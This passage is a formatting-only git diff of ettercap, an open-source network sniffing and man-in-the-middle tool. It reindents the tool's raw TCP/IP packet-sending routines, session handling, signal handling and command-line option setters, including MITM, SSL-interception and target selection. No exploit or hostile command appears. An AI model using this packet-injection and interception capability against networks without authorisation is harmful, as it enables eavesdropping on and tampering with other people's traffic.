+ length, /* length */ 0, /* TOS */ htons(EC_MAGIC_16), /* IP ID */ @@ -1299,25 +1283,25 @@ const uint8_t *payload, uint32_t payload_s, libnet_t *l, libnet_ptag_t ptag) 0, /* checksum */ *sip->addr32, /* source IP */ *tip->addr32, /* destination IP */ - NULL, + NULL, 0, /* payload size */ l, 0); - libnet_toggle_checksum(l, t, LIBNET_ON); + libnet_toggle_checksum(l, t, LIBNET_ON); - /* set Ethertype to IPv4 */ - ethertype = ETHERTYPE_IP; + /* set Ethertype to IPv4 */ + ethertype = ETHERTYPE_IP; - break; - } + break; + } #ifdef WITH_IPV6 - case AF_INET6: { - struct libnet_in6_addr src, dst; - memcpy(&src, sip->addr, sizeof(src)); - memcpy(&dst, tip->addr, sizeof(dst)); - t = libnet_build_ipv6( + case AF_INET6: { + struct libnet_in6_addr src, dst; + memcpy(&src, sip->addr, sizeof(src)); + memcpy(&dst, tip->addr, sizeof(dst)); + t = libnet_build_ipv6( 0, /* tc */ 0, /* flow label */ LIBNET_UDP_H + length, /* payload length */ @@ -1330,20 +1314,20 @@ const uint8_t *payload, uint32_t payload_s, libnet_t *l, libnet_ptag_t ptag) l, /* handle */ 0); /* ptag */ - /* set Ethertype to IPv6 */ - ethertype = ETHERTYPE_IPV6; + /* set Ethertype to IPv6 */ + ethertype = ETHERTYPE_IPV6; - break; - } + break; + } #endif - }; + } ON_ERROR(t, -1, "libnet_build_ipvX: %s", libnet_geterror(l)); - /* add the media header */ - t = ec_build_link_layer(GBL_PCAP->dlt, tmac, ethertype, l); - if (t == -1) - FATAL_ERROR("Interface not suitable for layer2 sending"); + /* add the media header */ + t = ec_build_link_layer(GBL_PCAP->dlt, tmac, ethertype, l); + if (t == -1) + FATAL_ERROR("Interface not suitable for layer2 sending"); /* send the packet to Layer 3 */ @@ -1356,6 +1340,7 @@ const uint8_t *payload, uint32_t payload_s, libnet_t *l, libnet_ptag_t ptag) return c; } + /* * send a tcp packet */ @@ -1365,77 +1350,76 @@ int send_tcp(struct ip_addr *sip, struct ip_addr *tip, u_int16 sport, u_int16 dp libnet_t *l; int proto; int c; - + proto = ntohs(sip->addr_type); - l = (proto == AF_INET) ? GBL_LNET->lnet_IP4 : GBL_LNET->lnet_IP6; + l = (proto == AF_INET) ? GBL_LNET->lnet_IP4 : GBL_LNET->lnet_IP6; /* if not lnet warn the developer ;) */ BUG_IF(l == NULL); - + SEND_LOCK; - - t = libnet_build_tcp( - ntohs(sport), /* source port */ - ntohs(dport), /* destination port */ - ntohl(seq), /* sequence number */ - ntohl(ack), /* acknowledgement num */ - flags, /* control flags */ - 32767, /* window size */ - 0, /* checksum */ - 0, /* urgent pointer */ - LIBNET_TCP_H + length, /* TCP packet size */ - payload, /* payload */ - length, /* payload size */ - l, /* libnet handle */ - 0); /* libnet id */ + t = libnet_build_tcp( + ntohs(sport), /* source port */ + ntohs(dport), /* destination port */ + ntohl(seq), /* sequence number */ + ntohl(ack), /* acknowledgement num */ + flags, /* control flags */ + 32767, /* window size */ + 0, /* checksum */ + 0, /* urgent pointer */ + LIBNET_TCP_H + length, /* TCP packet size */ + payload, /* payload */ + length, /* payload size */ + l, /* libnet handle */ + 0); /* libnet id */ ON_ERROR(t, -1, "libnet_build_tcp: %s", libnet_geterror(l)); - + /* auto calculate the checksum */ libnet_toggle_checksum(l, t, LIBNET_ON); - + /* create the IP header */ - switch(proto) { - case AF_INET: { - t = libnet_build_ipv4( - LIBNET_IPV4_H + LIBNET_TCP_H, /* length */ - 0, /* TOS */ - htons(EC_MAGIC_16), /* IP ID */ - 0, /* IP Frag */ - 64, /* TTL */ - IPPROTO_TCP, /* protocol */ - 0, /* checksum */ - *sip->addr32, /* source IP */ - *tip->addr32, /* destination IP */ - NULL, /* payload */ - 0, /* payload size */ - l, /* libnet handle */ - 0); - libnet_toggle_checksum(l, t, LIBNET_ON); - break; - } + switch (proto) { + case AF_INET: { + t = libnet_build_ipv4( + LIBNET_IPV4_H + LIBNET_TCP_H, /* length */ + 0, /* TOS */ + htons(EC_MAGIC_16), /* IP ID */ + 0, /* IP Frag */ + 64, /* TTL */ + IPPROTO_TCP, /* protocol */ + 0, /* checksum */ + *sip->addr32, /* source IP */ + *tip->addr32, /* destination IP */ + NULL, /* payload */ + 0, /* payload size */ + l, /* libnet handle */ + 0); + libnet_toggle_checksum(l, t, LIBNET_ON); + break; + } #ifdef WITH_IPV6 - case AF_INET6: { - struct libnet_in6_addr src, dst; - memcpy(&src, sip->addr, sizeof(src)); - memcpy(&dst, tip->addr, sizeof(dst)); - t = libnet_build_ipv6( - 0, /* tc */ - 0, /* flow label */ - LIBNET_TCP_H, /* payload length */ - IPPROTO_TCP, /* protocol */ - 255, /* hop limit */ - src, /* source address */ - dst, /* destination address */ - NULL, /* payload */ - 0, /* its length */ - l, /* handle */ - 0); /* ptag */ - break; - } + case AF_INET6: { + struct libnet_in6_addr src, dst; + memcpy(&src, sip->addr, sizeof(src)); + memcpy(&dst, tip->addr, sizeof(dst)); + t = libnet_build_ipv6( + 0, /* tc */ + 0, /* flow label */ + LIBNET_TCP_H, /* payload length */ + IPPROTO_TCP, /* protocol */ + 255, /* hop limit */ + src, /* source address */ + dst, /* destination address */ + NULL, /* payload */ + 0, /* its length */ + l, /* handle */ + 0); /* ptag */ + break; + } #endif - }; + } ON_ERROR(t, -1, "libnet_build_ipvX: %s", libnet_geterror(l)); - + /* send the packet to Layer 3 */ c = libnet_write(l); ON_ERROR(c, -1, "libnet_write (%d): %s", c, libnet_geterror(l)); @@ -1444,7 +1428,7 @@ int send_tcp(struct ip_addr *sip, struct ip_addr *tip, u_int16 sport, u_int16 dp libnet_clear_packet(l); SEND_UNLOCK; - + return c; } @@ -1462,87 +1446,86 @@ int send_tcp_ether(u_int8 *dmac, struct ip_addr *sip, struct ip_addr *tip, u_int /* if not lnet warn the developer ;) */ BUG_IF(GBL_IFACE->lnet == 0); l = GBL_IFACE->lnet; - + SEND_LOCK; - - t = libnet_build_tcp( - ntohs(sport), /* source port */ - ntohs(dport), /* destination port */ - ntohl(seq), /* sequence number */ - ntohl(ack), /* acknowledgement num */ - flags, /* control flags */ - 32767, /* window size */ - 0, /* checksum */ - 0, /* urgent pointer */ - LIBNET_TCP_H, /* TCP packet size */ - NULL, /* payload */ - 0, /* payload size */ - l, /* libnet handle */ - 0); /* libnet id */ + + t = libnet_build_tcp( + ntohs(sport), /* source port */ + ntohs(dport), /* destination port */ + ntohl(seq), /* sequence number */ + ntohl(ack), /* acknowledgement num */ + flags, /* control flags */ + 32767, /* window size */ + 0, /* checksum */ + 0, /* urgent pointer */ + LIBNET_TCP_H, /* TCP packet size */ + NULL, /* payload */ + 0, /* payload size */ + l, /* libnet handle */ + 0); /* libnet id */ ON_ERROR(t, -1, "libnet_build_tcp: %s", libnet_geterror(l)); /* auto calculate the checksum */ libnet_toggle_checksum(l, t, LIBNET_ON); - + switch (proto) { - case AF_INET: { - /* create the IP header */ - t = libnet_build_ipv4( - LIBNET_IPV4_H + LIBNET_TCP_H, /* length */ - 0, /* TOS */ - htons(EC_MAGIC_16), /* IP ID */ - 0, /* IP Frag */ - 64, /* TTL */ - IPPROTO_TCP, /* protocol */ - 0, /* checksum */ - *sip->addr32, /* source IP */ - *tip->addr32, /* destination IP */ - NULL, /* payload */ - 0, /* payload size */ - l, /* libnet handle */ - 0); - ON_ERROR(t, -1, "libnet_build_ipv4: %s", libnet_geterror(l)); - - /* auto calculate the checksum */ - libnet_toggle_checksum(l, t, LIBNET_ON); - - /* set Ethertype to IPv4 */ - ethertype = ETHERTYPE_IP; - - break; - } + case AF_INET: { + /* create the IP header */ + t = libnet_build_ipv4( + LIBNET_IPV4_H + LIBNET_TCP_H, /* length */ + 0, /* TOS */ + htons(EC_MAGIC_16), /* IP ID */ + 0, /* IP Frag */ + 64, /* TTL */ + IPPROTO_TCP, /* protocol */ + 0, /* checksum */ + *sip->addr32, /* source IP */ + *tip->addr32, /* destination IP */ + NULL, /* payload */ + 0, /* payload size */ + l, /* libnet handle */ + 0); + ON_ERROR(t, -1, "libnet_build_ipv4: %s", libnet_geterror(l)); + + /* auto calculate the checksum */ + libnet_toggle_checksum(l, t, LIBNET_ON); + + /* set Ethertype to IPv4 */ + ethertype = ETHERTYPE_IP; + + break; + } #ifdef WITH_IPV6 - case AF_INET6: { - struct libnet_in6_addr src, dst; - memcpy(&src, sip->addr, sizeof(src)); - memcpy(&dst, tip->addr, sizeof(dst)); - t = libnet_build_ipv6( - 0, /* traffic class */ - 0, /* flow label */ - LIBNET_TCP_H, /* payload length */ - IPPROTO_TCP, /* next header */ - 255, /* hop limit */ - src, /* source IP */ - dst, /* destination IP */ - NULL, /* payload */ - 0, /* payload size */ - l, /* libnet handle */ - 0); - ON_ERROR(t, -1, "libnet_build_ipv6: %s", libnet_geterror(l)); - - /* set Ethertype to IPv6 */ - ethertype = ETHERTYPE_IPV6; - - break; - } + case AF_INET6: { + struct libnet_in6_addr src, dst; + memcpy(&src, sip->addr, sizeof(src)); + memcpy(&dst, tip->addr, sizeof(dst)); + t = libnet_build_ipv6( + 0, /* traffic class */ + 0, /* flow label */ + LIBNET_TCP_H, /* payload length */ + IPPROTO_TCP, /* next header */ + 255, /* hop limit */ + src, /* source IP */ + dst, /* destination IP */ + NULL, /* payload */ + 0, /* payload size */ + l, /* libnet handle */ + 0); + ON_ERROR(t, -1, "libnet_build_ipv6: %s", libnet_geterror(l)); + + /* set Ethertype to IPv6 */ + ethertype = ETHERTYPE_IPV6; + + break; + } #endif - } - + /* add the media header */ t = ec_build_link_layer(GBL_PCAP->dlt, dmac, ethertype, l); if (t == -1) FATAL_ERROR("Interface not suitable for layer2 sending"); - + /* send the packet to Layer 3 */ c = libnet_write(l); ON_ERROR(c, -1, "libnet_write (%d): %s", c, libnet_geterror(l)); @@ -1551,12 +1534,10 @@ int send_tcp_ether(u_int8 *dmac, struct ip_addr *sip, struct ip_addr *tip, u_int libnet_clear_packet(l); SEND_UNLOCK; - + return c; } - /* EOF */ // vim:ts=3:expandtab - diff --git a/src/ec_services.c b/src/ec_services.c index 1b8e20140..597b5f44f 100644 --- a/src/ec_services.c +++ b/src/ec_services.c @@ -1,24 +1,24 @@ /* - ettercap -- services list module - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - - -*/ + * ettercap -- services list module + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + * + */ #include #include @@ -39,11 +39,10 @@ struct entry { static void discard_servdb(void); int services_init(void); -char * service_search(u_int32 serv, u_int8 proto); +char *service_search(u_int32 serv, u_int8 proto); /*****************************************/ - static void discard_servdb(void) { struct entry *l; @@ -56,11 +55,10 @@ static void discard_servdb(void) } DEBUG_MSG("ATEXIT: discard_servdb"); - + return; } - int services_init(void) { struct entry *s; @@ -89,26 +87,25 @@ int services_init(void) proto = NL_TYPE_UDP; else continue; - + /* skip comments */ if (strstr(name, "#")) continue; SAFE_CALLOC(s, 1, sizeof(struct entry)); - + s->name = strdup(name); s->serv = htons(serv); s->proto = proto; - + SLIST_INSERT_HEAD(&serv_head, s, next); i++; - } DEBUG_MSG("serv_init -- %d services loaded", i); USER_MSG("%4d known services\n", i); - + fclose(f); atexit(discard_servdb); @@ -117,25 +114,23 @@ int services_init(void) } /* - * search for a service and + * search for a service and * return its name */ -char * service_search(u_int32 serv, u_int8 proto) +char *service_search(u_int32 serv, u_int8 proto) { struct entry *s; SLIST_FOREACH(s, &serv_head, next) { if (s->serv == serv && s->proto == proto) - return (s->name); + return s->name; } /* empty name for unknown services */ return ""; } - /* EOF */ // vim:ts=3:expandtab - diff --git a/src/ec_session.c b/src/ec_session.c index 4a012080c..d6845be91 100644 --- a/src/ec_session.c +++ b/src/ec_session.c @@ -1,23 +1,23 @@ /* - ettercap -- session management - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * ettercap -- session management + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include #include @@ -35,7 +35,7 @@ struct session_list { time_t ts; struct ec_session *s; - LIST_ENTRY (session_list) next; + LIST_ENTRY(session_list) next; }; /* global data */ @@ -47,8 +47,8 @@ static LIST_HEAD(, session_list) session_list_head[TABSIZE]; u_int32 session_hash(void *ident, size_t ilen); static pthread_mutex_t session_mutex = PTHREAD_MUTEX_INITIALIZER; -#define SESSION_LOCK do{ pthread_mutex_lock(&session_mutex); } while(0) -#define SESSION_UNLOCK do{ pthread_mutex_unlock(&session_mutex); } while(0) +#define SESSION_LOCK do { pthread_mutex_lock(&session_mutex); } while (0) +#define SESSION_UNLOCK do { pthread_mutex_unlock(&session_mutex); } while (0) /************************************************/ @@ -66,13 +66,13 @@ void session_put(struct ec_session *s) u_int32 h; SESSION_LOCK; - + /* calculate the hash */ h = session_hash(s->ident, s->ident_len); - + /* search if it already exist */ LIST_FOREACH_SAFE(sl, &session_list_head[h], next, tmp) { - if ( sl->s->match(sl->s->ident, s->ident) ) { + if (sl->s->match(sl->s->ident, s->ident)) { DEBUG_MSG("session_put: [%p] updated", sl->s->ident); /* destroy the old session */ @@ -81,44 +81,42 @@ void session_put(struct ec_session *s) sl->s = s; /* renew the timestamp */ sl->ts = ti; - + SESSION_UNLOCK; return; } - if (sl->ts < (ti - GBL_CONF->connection_timeout) ) { + if (sl->ts < (ti - GBL_CONF->connection_timeout)) { DEBUG_MSG("session_put: [%p] timeouted", sl->s->ident); session_free(sl->s); LIST_REMOVE(sl, next); SAFE_FREE(sl); } } - + /* sanity check */ BUG_IF(s->match == NULL); - + /* create the element in the list */ SAFE_CALLOC(sl, 1, sizeof(struct session_list)); - + /* the timestamp */ sl->ts = ti; /* link the session */ sl->s = s; - + DEBUG_MSG("session_put: [%p] new session", sl->s->ident); - /* + /* * put it in the head. * it is likely to be retrived early */ LIST_INSERT_HEAD(&session_list_head[h], sl, next); SESSION_UNLOCK; - } - /* * get the info contained in a session */ @@ -130,18 +128,18 @@ int session_get(struct ec_session **s, void *ident, size_t ident_len) u_int32 h; SESSION_LOCK; - + /* calculate the hash */ h = session_hash(ident, ident_len); /* search if it already exist */ LIST_FOREACH(sl, &session_list_head[h], next) { - if ( sl->s->match(sl->s->ident, ident) ) { - - //DEBUG_MSG("session_get: [%p]", sl->s->ident); + if (sl->s->match(sl->s->ident, ident)) { + + // DEBUG_MSG("session_get: [%p]", sl->s->ident); /* return the session */ *s = sl->s; - + /* renew the timestamp */ sl->ts = ti; @@ -149,13 +147,12 @@ int session_get(struct ec_session **s, void *ident, size_t ident_len) return E_SUCCESS; } } - + SESSION_UNLOCK; - + return -E_NOTFOUND; } - /* * delete a session */ @@ -166,14 +163,14 @@ int session_del(void *ident, size_t ident_len) u_int32 h; SESSION_LOCK; - + /* calculate the hash */ h = session_hash(ident, ident_len); - + /* search if it already exist */ LIST_FOREACH(sl, &session_list_head[h], next) { - if ( sl->s->match(sl->s->ident, ident) ) { - + if (sl->s->match(sl->s->ident, ident)) { + DEBUG_MSG("session_del: [%p]", sl->s->ident); /* free the session */ @@ -187,13 +184,12 @@ int session_del(void *ident, size_t ident_len) return E_SUCCESS; } } - + SESSION_UNLOCK; - + return -E_NOTFOUND; } - /* * get the info and delete the session * atomic operations @@ -205,16 +201,16 @@ int session_get_and_del(struct ec_session **s, void *ident, size_t ident_len) u_int32 h; SESSION_LOCK; - + /* calculate the hash */ h = session_hash(ident, ident_len); - + /* search if it already exist */ LIST_FOREACH(sl, &session_list_head[h], next) { - if ( sl->s->match(sl->s->ident, ident) ) { - + if (sl->s->match(sl->s->ident, ident)) { + DEBUG_MSG("session_get_and_del: [%p]", sl->s->ident); - + /* return the session */ *s = sl->s; /* remove the element in the list */ @@ -226,9 +222,9 @@ int session_get_and_del(struct ec_session **s, void *ident, size_t ident_len) return E_SUCCESS; } } - + SESSION_UNLOCK; - + return -E_NOTFOUND; } @@ -260,12 +256,12 @@ u_int32 session_hash(void *ident, size_t ilen) u_int32 hash = 0; u_int16 *buf = (u_int16 *)ident; - while(ilen > 1) { + while (ilen > 1) { hash += *buf++; ilen -= sizeof(u_int16); } - if (ilen == 1) + if (ilen == 1) hash += htons(*(u_char *)buf << 8); hash = (hash >> 16) + (hash & 0xffff); @@ -278,4 +274,3 @@ u_int32 session_hash(void *ident, size_t ilen) /* EOF */ // vim:ts=3:expandtab - diff --git a/src/ec_set.c b/src/ec_set.c index 3209aa47b..cddf994bd 100644 --- a/src/ec_set.c +++ b/src/ec_set.c @@ -1,24 +1,23 @@ /* - ettercap -- Set functions, for library and UI support - - Copyright (C) Ettercap Development Team - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ - + * ettercap -- Set functions, for library and UI support + * + * Copyright (C) Ettercap Development Team + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include #include @@ -37,262 +36,259 @@ #include - /* set functions */ -void set_mitm(char *mitm) +void set_mitm(char *mitm) { - GBL_OPTIONS->mitm = 1; - if(mitm_set(mitm) != E_SUCCESS) - FATAL_ERROR("MiTM method '%s' not supported...\n", mitm); + GBL_OPTIONS->mitm = 1; + if (mitm_set(mitm) != E_SUCCESS) + FATAL_ERROR("MiTM method '%s' not supported...\n", mitm); } void set_onlymitm(void) { - GBL_OPTIONS->only_mitm = 1; + GBL_OPTIONS->only_mitm = 1; } void set_broadcast(void) { - GBL_OPTIONS->broadcast = 1; + GBL_OPTIONS->broadcast = 1; } void set_iface_bridge(char *iface) { - GBL_OPTIONS->iface_bridge = strdup(iface); - set_bridge_sniff(); + GBL_OPTIONS->iface_bridge = strdup(iface); + set_bridge_sniff(); } void set_promisc(void) { - GBL_PCAP->promisc = 0; + GBL_PCAP->promisc = 0; } void set_reversed(void) { - GBL_OPTIONS->reversed = 1; + GBL_OPTIONS->reversed = 1; } void set_plugin(char *name) { - struct plugin_list *plugin; + struct plugin_list *plugin; - if(!strcasecmp(name, "list")) { - plugin_list(); - clean_exit(0); - } - - SAFE_CALLOC(plugin, 1, sizeof(struct plugin_list)); - plugin->name = strdup(name); - plugin->exists = true; - LIST_INSERT_HEAD(&GBL_OPTIONS->plugins, plugin, next); + if (!strcasecmp(name, "list")) { + plugin_list(); + clean_exit(0); + } + SAFE_CALLOC(plugin, 1, sizeof(struct plugin_list)); + plugin->name = strdup(name); + plugin->exists = true; + LIST_INSERT_HEAD(&GBL_OPTIONS->plugins, plugin, next); } void set_proto(char *proto) { - GBL_OPTIONS->proto = strdup(proto); + GBL_OPTIONS->proto = strdup(proto); } void set_iface(char *iface) { - GBL_OPTIONS->iface = strdup(iface); + GBL_OPTIONS->iface = strdup(iface); } void set_lifaces(void) { #ifndef JUST_LIBRARY - GBL_OPTIONS->lifaces = 1; + GBL_OPTIONS->lifaces = 1; #endif } void set_secondary(char *iface) { - GBL_OPTIONS->secondary = parse_iflist(iface); + GBL_OPTIONS->secondary = parse_iflist(iface); } void set_netmask(char *netmask) { - GBL_OPTIONS->netmask = strdup(netmask); + GBL_OPTIONS->netmask = strdup(netmask); } void set_address(char *address) { - GBL_OPTIONS->address = strdup(address); + GBL_OPTIONS->address = strdup(address); } void set_read_pcap(char *pcap_file) { - /* we don't want to scan th eLAN while reading from file */ - GBL_OPTIONS->silent = 1; - GBL_OPTIONS->read = 1; - GBL_OPTIONS->pcapfile_in = strdup(pcap_file); + /* we don't want to scan th eLAN while reading from file */ + GBL_OPTIONS->silent = 1; + GBL_OPTIONS->read = 1; + GBL_OPTIONS->pcapfile_in = strdup(pcap_file); } void set_write_pcap(char *pcap_file) { - GBL_OPTIONS->write = 1; - GBL_OPTIONS->pcapfile_out = strdup(pcap_file); + GBL_OPTIONS->write = 1; + GBL_OPTIONS->pcapfile_out = strdup(pcap_file); } void set_pcap_filter(char *filter) { - GBL_PCAP->filter = strdup(filter); + GBL_PCAP->filter = strdup(filter); } void set_filter(char *end, const char *filter) { - uint8_t f_enabled = 1; - if ( (end-filter >=2) && *(end-2) == ':') { - *(end-2) = '\0'; - f_enabled = !( *(end-1) == '0' ); - } - - if (filter_load_file(filter, GBL_FILTERS, f_enabled) != E_SUCCESS) - FATAL_ERROR("Cannot load filter file \"%s\"", filter); -} + uint8_t f_enabled = 1; + if ((end - filter >= 2) && *(end - 2) == ':') { + *(end - 2) = '\0'; + f_enabled = !(*(end - 1) == '0'); + } + if (filter_load_file(filter, GBL_FILTERS, f_enabled) != E_SUCCESS) + FATAL_ERROR("Cannot load filter file \"%s\"", filter); +} void set_loglevel_packet(char *arg) { - if (set_loglevel(LOG_PACKET, arg) == -E_FATAL) - clean_exit(-E_FATAL); + if (set_loglevel(LOG_PACKET, arg) == -E_FATAL) + clean_exit(-E_FATAL); } void set_loglevel_info(char *arg) { - if (set_loglevel(LOG_INFO, arg) == -E_FATAL) - clean_exit(-E_FATAL); + if (set_loglevel(LOG_INFO, arg) == -E_FATAL) + clean_exit(-E_FATAL); } void set_loglevel_true(char *arg) { - if (set_msg_loglevel(LOG_TRUE, arg) == -E_FATAL) - clean_exit(-E_FATAL); + if (set_msg_loglevel(LOG_TRUE, arg) == -E_FATAL) + clean_exit(-E_FATAL); } void set_compress(void) { - GBL_OPTIONS->compress = 1; + GBL_OPTIONS->compress = 1; } void opt_set_regex(char *regex) { - if (set_regex(regex) == -E_FATAL) - clean_exit(-E_FATAL); + if (set_regex(regex) == -E_FATAL) + clean_exit(-E_FATAL); } void set_superquiet() { - GBL_OPTIONS->superquiet = 1; + GBL_OPTIONS->superquiet = 1; } void set_quiet(void) { - GBL_OPTIONS->quiet = 1; + GBL_OPTIONS->quiet = 1; } void set_script(char *script) { - GBL_OPTIONS->script = strdup(script); + GBL_OPTIONS->script = strdup(script); } void set_silent(void) { - GBL_OPTIONS->silent = 1; + GBL_OPTIONS->silent = 1; } #ifdef WITH_IPV6 void set_ip6scan(void) { - GBL_OPTIONS->ip6scan = 1; + GBL_OPTIONS->ip6scan = 1; } + #endif void set_unoffensive(void) { - GBL_OPTIONS->unoffensive = 1; + GBL_OPTIONS->unoffensive = 1; } void disable_sslmitm(void) { - GBL_OPTIONS->ssl_mitm = 0; + GBL_OPTIONS->ssl_mitm = 0; } void set_resolve(void) { - GBL_OPTIONS->resolve = 1; + GBL_OPTIONS->resolve = 1; resolv_thread_init(); atexit(resolv_thread_fini); } void set_load_hosts(char *file) { - GBL_OPTIONS->silent = 1; - GBL_OPTIONS->load_hosts = 1; - GBL_OPTIONS->hostsfile = strdup(file); + GBL_OPTIONS->silent = 1; + GBL_OPTIONS->load_hosts = 1; + GBL_OPTIONS->hostsfile = strdup(file); } void set_save_hosts(char *file) { - GBL_OPTIONS->save_hosts = 1; - GBL_OPTIONS->hostsfile = strdup(file); + GBL_OPTIONS->save_hosts = 1; + GBL_OPTIONS->hostsfile = strdup(file); } void opt_set_format(char *format) { - if (set_format(format) != E_SUCCESS) - clean_exit(-E_FATAL); + if (set_format(format) != E_SUCCESS) + clean_exit(-E_FATAL); } void set_ext_headers(void) { - GBL_OPTIONS->ext_headers = 1; + GBL_OPTIONS->ext_headers = 1; } void set_wifi_key(char *key) { - wifi_key_prepare(key); + wifi_key_prepare(key); } void set_conf_file(char *file) { - GBL_CONF->file = strdup(file); + GBL_CONF->file = strdup(file); } void set_ssl_cert(char *cert) { - GBL_OPTIONS->ssl_cert = strdup(cert); + GBL_OPTIONS->ssl_cert = strdup(cert); } void set_ssl_key(char *key) { - GBL_OPTIONS->ssl_pkey = strdup(key); + GBL_OPTIONS->ssl_pkey = strdup(key); } #ifdef HAVE_EC_LUA void set_lua_args(char *args) { - ec_lua_cli_add_args(strdup(args)); + ec_lua_cli_add_args(strdup(args)); } void set_lua_script(char *script) { - ec_lua_cli_add_script(strdup(script)); + ec_lua_cli_add_script(strdup(script)); } + #endif void set_target_target1(char *target1) { - GBL_OPTIONS->target1 = strdup(target1); + GBL_OPTIONS->target1 = strdup(target1); } void set_target_target2(char *target2) { - GBL_OPTIONS->target2 = strdup(target2); + GBL_OPTIONS->target2 = strdup(target2); } /* EOF */ - // vim:ts=3:expandtab - diff --git a/src/ec_signals.c b/src/ec_signals.c index 0070ded03..9eae1a558 100644 --- a/src/ec_signals.c +++ b/src/ec_signals.c @@ -1,23 +1,23 @@ /* - ettercap -- signal handler - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * ettercap -- signal handler + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include #include @@ -33,11 +33,11 @@ #endif #ifndef OS_WINDOWS - #include - #include +#include +#include #endif -typedef void handler_t(int); +typedef void handler_t (int); /* protos */ @@ -56,8 +56,8 @@ void signal_handler(void) DEBUG_MSG("signal_handler activated"); // fixing windows warnings - (void) signal_SEGV; - (void) signal_CHLD; + (void)signal_SEGV; + (void)signal_CHLD; #ifdef SIGSEGV signal_handle(SIGSEGV, signal_SEGV, 0); @@ -94,34 +94,32 @@ void signal_handler(void) #endif } - static handler_t *signal_handle(int signo, handler_t *handler, int flags) { #ifdef OS_WINDOWS - handler_t *old = signal (signo, handler); - + handler_t *old = signal(signo, handler); + /* avoid "unused variable" warning */ (void)flags; - - return (old); + + return old; #else struct sigaction act, old_act; act.sa_handler = handler; - + /* don't permit nested signal handling */ - sigfillset(&act.sa_mask); + sigfillset(&act.sa_mask); act.sa_flags = flags; if (sigaction(signo, &act, &old_act) < 0) ERROR_MSG("sigaction() failed"); - return (old_act.sa_handler); -#endif + return old_act.sa_handler; +#endif } - /* * received when something goes wrong ;) */ @@ -130,7 +128,7 @@ static void signal_SEGV(int sig) #ifdef DEBUG #ifndef OS_WINDOWS - struct rlimit corelimit = {RLIM_INFINITY, RLIM_INFINITY}; + struct rlimit corelimit = { RLIM_INFINITY, RLIM_INFINITY }; #endif #ifdef SIGBUS @@ -138,41 +136,41 @@ static void signal_SEGV(int sig) DEBUG_MSG(" !!! BUS ERROR !!!"); else #endif - DEBUG_MSG(" !!! SEGMENTATION FAULT !!!"); - + DEBUG_MSG(" !!! SEGMENTATION FAULT !!!"); + ui_cleanup(); - - fprintf (stderr, "\n"EC_COLOR_YELLOW"Ooops !! This shouldn't happen...\n\n"EC_COLOR_END); + + 